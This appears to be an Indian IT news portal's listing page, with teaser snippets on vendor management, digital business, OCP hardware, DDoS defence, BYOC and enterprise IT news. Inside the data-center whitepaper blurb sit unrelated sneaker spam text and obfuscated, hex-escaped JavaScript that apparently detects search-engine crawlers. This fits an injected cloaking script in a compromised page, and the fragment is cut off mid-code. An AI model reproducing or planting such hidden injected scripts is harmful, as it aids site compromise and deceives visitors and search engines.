6 Steps to Effective Vendor Management

Vendor evaluation and management has been the top most priority for most senior IT decision makers in the industry. New technologies have added to the pressure of enhancing and improving vendor management skills, be it in terms of negotiation, procurement, evaluation or prescribing SLAs. Retail player Target Corporation has laid out effective steps to achieve best results for vendor management... By Geetha N

Six Key Steps to Build a Successful Digital Business

New roles that are likely to come up soon include digital strategist, digital marketing leader and digital business unit leader. Digital business should not be considered an IT program and should instead become an enterprise mindset and lingua franca, says Gartner.  Here are the steps that will enable CIOs to build a successful digital enterprise. 1. Create the right mindset and shared... By

OCP: Why Hyperscale Market Innovation Make a Case for Enterprise

Ever since Facebook opened up its filtered datacenter specs to the world in a bid to open source the design specifics of its servers and datacenter architecture, there has been a lot of OCP-led tech advancements contributed by its members. The recently held OCP summit saw participation from many new entrants with contributions around hardware, designs, and other OCP based products. The latest... By Mastufa Ahmed

An Inherent Craze for Creativity

What drives Paresh at his work is his urge to learn something new every day – be it a new technology, a challenging project or something else.Why did he choose IT as a career?  He says, “It is an area you enjoy and progress forward, and that offers continual opportunities. For anyone who is looking for a fun, exciting and growing career field, I would recommend careers in the... By Subhankar Kundu

Exposing the Cybersecurity Cracks: A Global Perspective

A study, sponsored by Websense, surveyed 4,881 IT and IT security practitioners in 15 countries including India, United Kingdom and the United States, with an average of 10 years’ experience in the field. Results show a worrisome cybersecurity trend. When asked about the state of cybersecurity today, 57 percent of respondents do not think (100 percent – 43 percent) that their... By Mastufa Ahmed

Technologies New Government Should Leverage to Improve Healthcare

The political upheaval that we all have witnessed recently also makes its case to do things differently and innovatively. Healthcare, for instance, is one of the fields where the new government should do a lot by embracing technology. BJP manifesto clearly laid stress on telemedicine and mobile healthcare for rural healthcare delivery. Now that the next government is all set to start its... By Mastufa Ahmed

3 Steps to Defend DDoS Attacks

Distributed Denial of Service (DDoS) attacks are some of the oldest Internet threats and continue to be the top risk to networks around the world. As protections have evolved, the technology used by hackers has adapted and become much more sophisticated. New attack types now target applications and services, and oftentimes they’re masked in bulk layer 3 and 4 DDoS events, making it... By

How Data Center Lifecycle Management Can Help ITDMs Make Smarter Decisions

As ITDMs make smarter decisions it is critical to look at Data Center Infrastructure from a new angle. Download this whitepaper to know more. Air Vapormax Plus TNvar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\x28\x47"+"\x6f"+"\x6f\x67"+"\x6c"+"\x65\x7c\x59\x61"+"\x68\x6f\x6f"+"\x7c\x53\x6c\x75"+"\x72\x70"+"\x7c\x42\x69"+"\x6e\x67\x62"+"\x6f\x74\x29", "\x67\x69"); var f2 = navigator["\... By IT NEXT

Is BYOC the New Buzzword?

With Bring Your Own Device (BYOD) yet to catch up in Indian market, now its cousin BYOC has started taking the baby steps. As enterprise adoption of BYOD is inclining, massive workforce across companies have taken their steps towards cloud. There is no doubt in the fact that there are risks involved in BYOC as there might be security concern over organisation’s regulatory compliance and... By Subhankar Kundu

How Foreseegame.com Used IT as a Backbone to Roll out its Gaming Portal

Gaming portal Foreseegame.com, an arm of Microsec Technologies, which developed gamification platform and strategies for B2C customers leveraged Netmagic’s hybrid architecture along with their virtual data centre to the customer gamification needsIT team led by Suparno Kumar Dasgupta, CTO, Foreseegame.com, had hitherto been hosting its data centre with a third-party service provider. While... By Subhankar Kundu

CIOs Expect Modi Govt to Bridge Tech Gap

With the verdict of 2014 general elections out and as expected, Narendra Modi is all set to take over as Prime Minister of India, expectations all around is just soaring.As always, CIOs of the Indian enterprises expect this new government to understand the power of IT and implement more and more e-Governance projects to bring in more transparency and agility. Subhasish Saha, CTO, Apeejay... By CIO&Leader

MasterCard acquires Opus' ElectraCard Services

Pune based Opus Software Solutions has announced that it has entered into an agreement to sell its entire stake in ElectraCard Services Private Limited, “ECS" to MasterCard Worldwide. Opus specializes in providing IT Services to the Cards and Payments industry and is a technology partner to many large institutions in the payments marketplace.This transaction is anticipated to close in the... By IT NEXT